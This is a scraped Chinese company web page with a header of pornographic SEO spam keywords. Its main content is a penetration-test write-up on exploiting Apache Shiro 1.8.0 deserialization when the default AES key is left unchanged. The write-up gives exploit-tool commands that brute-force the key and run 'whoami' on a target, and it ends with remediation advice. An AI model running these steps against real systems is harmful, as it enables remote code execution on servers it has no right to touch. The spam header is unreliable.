日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
Shiro高版本默認(rèn)密鑰的漏洞利用

在Shiro反序列化漏洞修復(fù)的過(guò)程中,如果僅進(jìn)行Shiro的版本升級(jí),而沒(méi)有重新生成密鑰,那么AES加密的默認(rèn)密鑰扔硬編碼在代碼里,仍然會(huì)存在反序列化風(fēng)險(xiǎn)。

建網(wǎng)站原本是網(wǎng)站策劃師、網(wǎng)絡(luò)程序員、網(wǎng)頁(yè)設(shè)計(jì)師等,應(yīng)用各種網(wǎng)絡(luò)程序開發(fā)技術(shù)和網(wǎng)頁(yè)設(shè)計(jì)技術(shù)配合操作的協(xié)同工作。創(chuàng)新互聯(lián)專業(yè)提供做網(wǎng)站、成都網(wǎng)站設(shè)計(jì),網(wǎng)頁(yè)設(shè)計(jì),網(wǎng)站制作(企業(yè)站、自適應(yīng)網(wǎng)站建設(shè)、電商門戶網(wǎng)站)等服務(wù),從網(wǎng)站深度策劃、搜索引擎友好度優(yōu)化到用戶體驗(yàn)的提升,我們力求做到極致!

01、漏洞案例

本案例引用的shiro版本已是目前最新的1.8.0。嘗試訪問(wèn)系統(tǒng)進(jìn)行登錄,抓包獲取參數(shù)特征,包含xxx_rememberMe=deleteMe字段。

注意:在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更換為 AES-GCM,Shiro高版本下的漏洞利用,就需要考慮加密模式變化的情況。另外,這里cookie傳遞的參數(shù)是自定義的,而不是常見(jiàn)的rememberMe,這也是需要注意的地方。

02、漏洞利用

為了減少手工構(gòu)造生成反序列化數(shù)據(jù)的繁瑣,這里,我們使用一個(gè)Shiro反序列化利用工具,python編寫,而且作者增加了AES-GCM加密方式的漏洞利用支持,可以很方便地進(jìn)行修改和參數(shù)構(gòu)建,

Github項(xiàng)目地址:

 
 
 
  1. https://github.com/Ares-X/shiro-exploit.git 

首先,我們需要修改python腳本參數(shù),將rememberMe 替換為 xxx_remeberme,使參數(shù)能夠正常傳遞。

利用腳本來(lái)爆破Shiro key:

 
 
 
  1. python shiro-exploit.py check -u http://10.xxx.xxx.72/shiro-cas.shtml 

成功獲取到了Shiro key。

發(fā)送回顯Payload,獲取命令執(zhí)行結(jié)果。

 
 
 
  1. python shiro-exploit.py echo -g CommonsBeanutils2  -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c whoami -u http://10.xxx.xxx.72/shiro-cas.shtml 

修改python腳本設(shè)置代理,在requests使用代理proxies,增加proxies={'http': 'http://' + '127.0.0.1:8888'}。

這樣就可以將流量引入BurpSuite,抓取HTTP數(shù)據(jù)包,手動(dòng)利用查看回顯。

以上便是Shiro高版本下默認(rèn)密鑰的漏洞利用過(guò)程,So,修復(fù)Shiro默認(rèn)密鑰漏洞,除了升級(jí)shiro至最新版本,一定要注意生成新的密鑰替換。

記錄個(gè)有意思的事情,之前有個(gè)內(nèi)部系統(tǒng)確認(rèn)過(guò)Shiro版本和密鑰都有更換,但后來(lái)還是被檢測(cè)到存在漏洞,一度有點(diǎn)懷疑人生。找開發(fā)一起排查了一下,原來(lái)有兩臺(tái)服務(wù)器負(fù)載,其中一臺(tái)是修復(fù)了,還有一臺(tái)舊服務(wù)器被遺忘了。我復(fù)測(cè)的時(shí)候是修復(fù)的狀態(tài),別人一掃描,漏洞還存在,直接淚崩。


名稱欄目:Shiro高版本默認(rèn)密鑰的漏洞利用
本文地址:http://www.dlmjj.cn/article/djpdppe.html